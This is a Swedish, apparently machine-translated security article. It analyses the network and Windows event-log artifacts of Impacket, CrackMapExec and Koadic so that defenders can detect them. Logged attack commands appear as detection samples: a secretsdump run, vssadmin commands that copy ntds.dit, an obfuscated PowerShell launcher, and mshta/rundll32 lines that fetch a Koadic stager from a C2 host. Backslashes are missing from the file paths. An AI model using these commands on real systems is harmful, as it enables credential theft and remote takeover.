Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg

Antalet attacker inom företagssektorn växer för varje år: till exempel 2017 registrerades 13 % fler unika incidenter än 2016 och i slutet av 2018 - 27 % fler incidenterän under föregående period. Inklusive de där det huvudsakliga arbetsverktyget är Windows-operativsystemet. Under 2017-2018, APT Dragonfly, APT28, APT MuddyWater genomfört attacker mot regeringar och militära organisationer i Europa, Nordamerika och Saudiarabien. Och vi använde tre verktyg för detta - Impacket, CrackMapExec и Koadic. Deras källkod är öppen och tillgänglig på GitHub.

Det är värt att notera att dessa verktyg inte används för initial penetration, utan för att utveckla en attack inom infrastrukturen. Angripare använder dem i olika skeden av attacken efter penetreringen av omkretsen. Detta är för övrigt svårt att upptäcka och ofta bara med hjälp av teknik identifiera spår av kompromiss i nätverkstrafik eller verktyg som tillåter upptäcka aktiva handlingar av en angripare efter att han har penetrerat infrastrukturen. Verktygen tillhandahåller en mängd olika funktioner, från att överföra filer till att interagera med registret och utföra kommandon på en fjärrdator. Vi genomförde en studie av dessa verktyg för att fastställa deras nätverksaktivitet.

Vad vi behövde göra:

  • Förstå hur hackverktyg fungerar. Ta reda på vad angripare behöver utnyttja och vilken teknik de kan använda.
  • Hitta det som inte upptäcks av informationssäkerhetsverktyg i de första stadierna av en attack. Spaningsfasen kan hoppas över, antingen för att angriparen är en intern angripare eller för att angriparen utnyttjar ett hål i infrastrukturen som inte var känt tidigare. Det blir möjligt att återställa hela kedjan av hans handlingar, därav önskan att upptäcka ytterligare rörelse.
  • Eliminera falska positiva från verktyg för intrångsdetektering. Vi får inte glömma att när vissa handlingar upptäcks enbart på basis av spaning är frekventa fel möjliga. Vanligtvis i infrastrukturen finns det ett tillräckligt antal sätt, omöjliga att skilja från legitima vid första anblicken, för att få information.

Vad ger dessa verktyg angripare? Om detta är Impacket får angripare ett stort bibliotek av moduler som kan användas i olika skeden av attacken som följer efter att ha brutit perimetern. Många verktyg använder Impacket-moduler internt – till exempel Metasploit. Den har dcomexec och wmiexec för fjärrstyrning av kommandon, secretsdump för att hämta konton från minnet som läggs till från Impacket. Som ett resultat kommer korrekt detektering av aktiviteten hos ett sådant bibliotek att säkerställa detektering av derivat.

Det är ingen slump att skaparna skrev "Powered by Impacket" om CrackMapExec (eller helt enkelt CME). Dessutom har CME färdiga funktioner för populära scenarier: Mimikatz för att erhålla lösenord eller deras hash, implementering av Meterpreter eller Empire-agent för fjärrexekvering och Bloodhound ombord.

Det tredje verktyget vi valde var Koadic. Den är ganska ny, den presenterades på den internationella hackerkonferensen DEFCON 25 2017 och kännetecknas av ett icke-standardiserat tillvägagångssätt: det fungerar via HTTP, Java Script och Microsoft Visual Basic Script (VBS). Det här tillvägagångssättet kallas att leva av landet: verktyget använder en uppsättning beroenden och bibliotek inbyggda i Windows. Skaparna kallar det COM Command & Control, eller C3.

IMPACKET

Impackets funktionalitet är mycket bred, allt från spaning inuti AD och insamling av data från interna MS SQL-servrar, till tekniker för att erhålla referenser: det här är en SMB-reläattack och att hämta filen ntds.dit som innehåller hash av användarlösenord från en domänkontrollant. Impacket kör också kommandon på distans med hjälp av fyra olika metoder: WMI, Windows Scheduler Management Service, DCOM och SMB, och kräver autentiseringsuppgifter för att göra det.

Secretsdump

Låt oss ta en titt på secretsdump. Detta är en modul som kan riktas mot både användardatorer och domänkontrollanter. Det kan användas för att få kopior av minnesområdena LSA, SAM, SECURITY, NTDS.dit, så det kan ses i olika skeden av attacken. Det första steget i modulens drift är autentisering via SMB, vilket kräver antingen användarens lösenord eller dess hash för att automatiskt utföra Pass the Hash-attacken. Därefter kommer en begäran om att öppna åtkomst till Service Control Manager (SCM) och få tillgång till registret via winreg-protokollet, med hjälp av vilket en angripare kan ta reda på data från intressegrenar och få resultat via SMB.

I fig. 1 ser vi hur exakt när man använder winreg-protokollet, åtkomst erhålls med hjälp av en registernyckel med en LSA. För att göra detta, använd kommandot DCERPC med opcode 15 - OpenKey.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 1. Öppna en registernyckel med hjälp av winreg-protokollet

Därefter, när åtkomst till nyckeln erhålls, sparas värdena med kommandot SaveKey med opcode 20. Impacket gör detta på ett mycket specifikt sätt. Den sparar värdena till en fil vars namn är en sträng med 8 slumpmässiga tecken med .tmp. Dessutom sker ytterligare uppladdning av denna fil via SMB från System32-katalogen (Fig. 2).

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 2. Schema för att erhålla en registernyckel från en fjärrdator

Det visar sig att sådan aktivitet på nätverket kan upptäckas genom förfrågningar till vissa registergrenar med hjälp av winreg-protokollet, specifika namn, kommandon och deras ordning.

Den här modulen lämnar också spår i Windows-händelseloggen, vilket gör den lätt att upptäcka. Till exempel som ett resultat av att köra kommandot

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

I Windows Server 2016-loggen kommer vi att se följande nyckelsekvens av händelser:

1. 4624 - fjärrinloggning.
2. 5145 - kontrollera åtkomsträttigheter till winreg fjärrtjänst.
3. 5145 - kontrollera filåtkomsträttigheter i System32-katalogen. Filen har det slumpmässiga namnet som nämns ovan.
4. 4688 - skapa en cmd.exe-process som startar vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - skapa en process med kommandot:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - skapa en process med kommandot:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - skapa en process med kommandot:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Liksom många verktyg efter exploatering har Impacket moduler för fjärrexekvering av kommandon. Vi kommer att fokusera på smbexec, som tillhandahåller ett interaktivt kommandoskal på en fjärrdator. Den här modulen kräver också autentisering via SMB, antingen med ett lösenord eller en hash för lösenord. I fig. I figur 3 ser vi ett exempel på hur ett sådant verktyg fungerar, i det här fallet är det den lokala administratörskonsolen.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 3. Interaktiv smbexec-konsol

Det första steget i smbexec efter autentisering är att öppna SCM med kommandot OpenSCManagerW (15). Frågan är anmärkningsvärd: fältet Maskinnamn är DUMMY.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 4. Begär att öppna Service Control Manager

Därefter skapas tjänsten med kommandot CreateServiceW (12). När det gäller smbexec kan vi se samma kommandokonstruktionslogik varje gång. I fig. 5 grön indikerar oföränderliga kommandoparametrar, gul indikerar vad en angripare kan ändra. Det är lätt att se att namnet på den körbara filen, dess katalog och utdatafilen kan ändras, men resten är mycket svårare att ändra utan att störa logiken i Ipacket-modulen.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 5. Begär att skapa en tjänst med Service Control Manager

Smbexec lämnar också uppenbara spår i Windows-händelseloggen. I Windows Server 2016-loggen för det interaktiva kommandoskalet med kommandot ipconfig kommer vi att se följande nyckelsekvens av händelser:

1. 4697 — installation av tjänsten på offrets maskin:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - skapande av cmd.exe-processen med argumenten från punkt 1.
3. 5145 - kontrollera åtkomsträttigheter till __output-filen i C$-katalogen.
4. 4697 — installation av tjänsten på offrets maskin.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - skapande av cmd.exe-processen med argumenten från punkt 4.
6. 5145 - kontrollera åtkomsträttigheter till __output-filen i C$-katalogen.

Impacket är grunden för utvecklingen av attackverktyg. Den stöder nästan alla protokoll i Windows-infrastrukturen och har samtidigt sina egna karakteristiska egenskaper. Här är specifika winreg-förfrågningar, och användningen av SCM API med karakteristisk kommandobildning, och filnamnsformatet och SMB share SYSTEM32.

CRACKMAPEXEC

CME-verktyget är främst utformat för att automatisera de rutinåtgärder som en angripare måste utföra för att avancera inom nätverket. Det låter dig arbeta tillsammans med den välkända Empire-agenten och Meterpreter. För att utföra kommandon i hemlighet kan CME fördunkla dem. Med hjälp av Bloodhound (ett separat spaningsverktyg) kan en angripare automatisera sökningen efter en aktiv domänadministratörssession.

Spårhund

Bloodhound, som ett fristående verktyg, möjliggör avancerad spaning inom nätverket. Den samlar in data om användare, maskiner, grupper, sessioner och levereras som ett PowerShell-skript eller binär fil. LDAP- eller SMB-baserade protokoll används för att samla in information. CME-integrationsmodulen gör att Bloodhound kan laddas ner till offrets maskin, köra och ta emot insamlad data efter exekvering, och därigenom automatisera åtgärder i systemet och göra dem mindre märkbara. Det grafiska skalet Bloodhound presenterar insamlade data i form av grafer, vilket gör att du kan hitta den kortaste vägen från angriparens dator till domänadministratören.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 6. Bloodhound Interface

För att köra på offrets maskin skapar modulen en uppgift med hjälp av ATSVC och SMB. ATSVC är ett gränssnitt för att arbeta med Windows Task Scheduler. CME använder sin NetrJobAdd(1) funktion för att skapa uppgifter över nätverket. Ett exempel på vad CME-modulen skickar visas i fig. 7: Detta är ett cmd.exe-kommandoanrop och obfuskerad kod i form av argument i XML-format.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Fig. 7. Skapa en uppgift via CME

Efter att uppgiften har lämnats in för utförande startar offrets maskin Bloodhound själv, och detta kan ses i trafiken. Modulen kännetecknas av LDAP-frågor för att erhålla standardgrupper, en lista över alla maskiner och användare i domänen, och få information om aktiva användarsessioner genom SRVSVC NetSessEnum-förfrågan.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 8. Få en lista över aktiva sessioner via SMB

Dessutom åtföljs lansering av Bloodhound på ett offers maskin med revision aktiverad av en händelse med ID 4688 (processskapande) och processnamnet «C:WindowsSystem32cmd.exe». Det som är anmärkningsvärt med det är kommandoradsargumenten:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modulen enum_avproducts är mycket intressant ur funktionalitet och implementeringssynpunkt. WMI låter dig använda frågespråket WQL för att hämta data från olika Windows-objekt, vilket i huvudsak är vad denna CME-modul använder. Den genererar frågor till klasserna AntiSpywareProduct och AntiМirusProduct om skyddsverktygen installerade på offrets dator. För att erhålla nödvändiga data ansluter modulen till namnområdet rootSecurityCenter2, genererar sedan en WQL-fråga och får ett svar. I fig. Figur 9 visar innehållet i sådana förfrågningar och svar. I vårt exempel hittades Windows Defender.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 9. Nätverksaktivitet för modulen enum_avproducts

Ofta kan WMI-revision (Trace WMI-Activity), i vars händelser du kan hitta användbar information om WQL-frågor, inaktiveras. Men om det är aktiverat, och om skriptet enum_avproducts körs, sparas en händelse med ID 11. Den kommer att innehålla namnet på användaren som skickade begäran och namnet i namnområdet rootSecurityCenter2.

Var och en av CME-modulerna hade sina egna artefakter, vare sig det var specifika WQL-frågor eller skapandet av en viss typ av uppgift i en uppgiftsschemaläggare med obfuskation och Bloodhound-specifik aktivitet i LDAP och SMB.

KOADIC

En utmärkande egenskap hos Koadic är användningen av JavaScript och VBScript-tolkar inbyggda i Windows. I denna mening följer den trenden som lever av land - det vill säga att den inte har några externa beroenden och använder vanliga Windows-verktyg. Detta är ett verktyg för full Command & Control (CnC), eftersom ett "implantat" efter infektion installeras på maskinen, vilket gör att den kan kontrolleras. En sådan maskin, i Koadisk terminologi, kallas en "zombie". Om det inte finns tillräckliga privilegier för full funktion på offrets sida, har Koadic möjligheten att höja dem med hjälp av UAC-bypass-tekniker (User Account Control bypass).

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 10. Koadic Shell

Offret måste initiera kommunikation med Command & Control-servern. För att göra detta måste hon kontakta en tidigare förberedd URI och ta emot den huvudsakliga Koadic-kroppen med hjälp av en av stagers. I fig. Figur 11 visar ett exempel för mshta stager.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 11. Initiera en session med CnC-servern

Baserat på svarsvariabeln WS blir det tydligt att exekvering sker via WScript.Shell, och variablerna STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE innehåller nyckelinformation om parametrarna för den aktuella sessionen. Detta är det första begäran-svarsparet i en HTTP-anslutning med en CnC-server. Efterföljande förfrågningar är direkt relaterade till funktionaliteten hos de anropade modulerna (implantaten). Alla Koadic-moduler fungerar endast med en aktiv session med CnC.

Mimikatz

Precis som CME arbetar med Bloodhound, arbetar Koadic med Mimikatz som ett separat program och har flera sätt att lansera det. Nedan finns ett begäran-svar-par för nedladdning av Mimikatz-implantatet.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 12. Överför Mimikatz till Koadic

Du kan se hur URI-formatet i begäran har ändrats. Den innehåller nu ett värde för csrf-variabeln, som är ansvarig för den valda modulen. Var inte uppmärksam på hennes namn; Vi vet alla att CSRF vanligtvis förstås olika. Svaret var samma huvuddel av Koadic, till vilken kod relaterad till Mimikatz lades till. Den är ganska stor, så låt oss titta på nyckelpunkterna. Här har vi Mimikatz-biblioteket kodat i base64, en serialiserad .NET-klass som kommer att injicera det, och argument för att starta Mimikatz. Exekveringsresultatet sänds över nätverket i klartext.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 13. Resultat av att köra Mimikatz på en fjärrmaskin

Exec_cmd

Koadic har även moduler som kan utföra kommandon på distans. Här kommer vi att se samma URI-genereringsmetod och de välbekanta sid- och csrf-variablerna. I fallet med exec_cmd-modulen läggs kod till kroppen som kan utföra skalkommandon. Nedan visas sådan kod som finns i CnC-serverns HTTP-svar.

Hur man upptäcker attacker på Windows-infrastruktur: studera hackerverktyg
Ris. 14. Implantatkod exec_cmd

GAWTUUGCFI-variabeln med det välbekanta WS-attributet krävs för kodexekvering. Med sin hjälp anropar implantatet skalet och bearbetar två grenar av kod - shell.exec med retur av utdataströmmen och shell.run utan att återvända.

Koadic är inte ett typiskt verktyg, men det har sina egna artefakter genom vilka det kan hittas i legitim trafik:

  • speciell bildning av HTTP-förfrågningar,
  • använder winHttpRequests API,
  • skapa ett WScript.Shell-objekt via ActiveXObject,
  • stort exekverbart organ.

Den första anslutningen initieras av stagern, så det är möjligt att upptäcka dess aktivitet genom Windows-händelser. För mshta är detta händelse 4688, som indikerar skapandet av en process med startattributet:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Medan Koadic körs kan du se andra 4688-händelser med attribut som perfekt karakteriserar den:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Resultat

Att leva på marktrenden ökar i popularitet bland kriminella. De använder de verktyg och mekanismer som är inbyggda i Windows för sina behov. Vi ser populära verktyg Koadic, CrackMapExec och Impacket enligt denna princip allt oftare dyka upp i APT-rapporter. Antalet gafflar på GitHub för dessa verktyg växer också, och nya dyker upp (det finns redan ungefär tusen av dem nu). Trenden ökar i popularitet på grund av sin enkelhet: angripare behöver inte verktyg från tredje part; de finns redan på offrens maskiner och hjälper dem att kringgå säkerhetsåtgärder. Vi fokuserar på att studera nätverkskommunikation: varje verktyg som beskrivs ovan lämnar sina egna spår i nätverkstrafiken; detaljerad studie av dem gjorde det möjligt för oss att lära ut vår produkt PT Network Attack Discovery upptäcka dem, vilket i slutändan hjälper till att undersöka hela kedjan av cyberincidenter som involverar dem.

Författare:

  • Anton Tyurin, chef för Expert Services Department, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Källa: will.com

Lägg en kommentar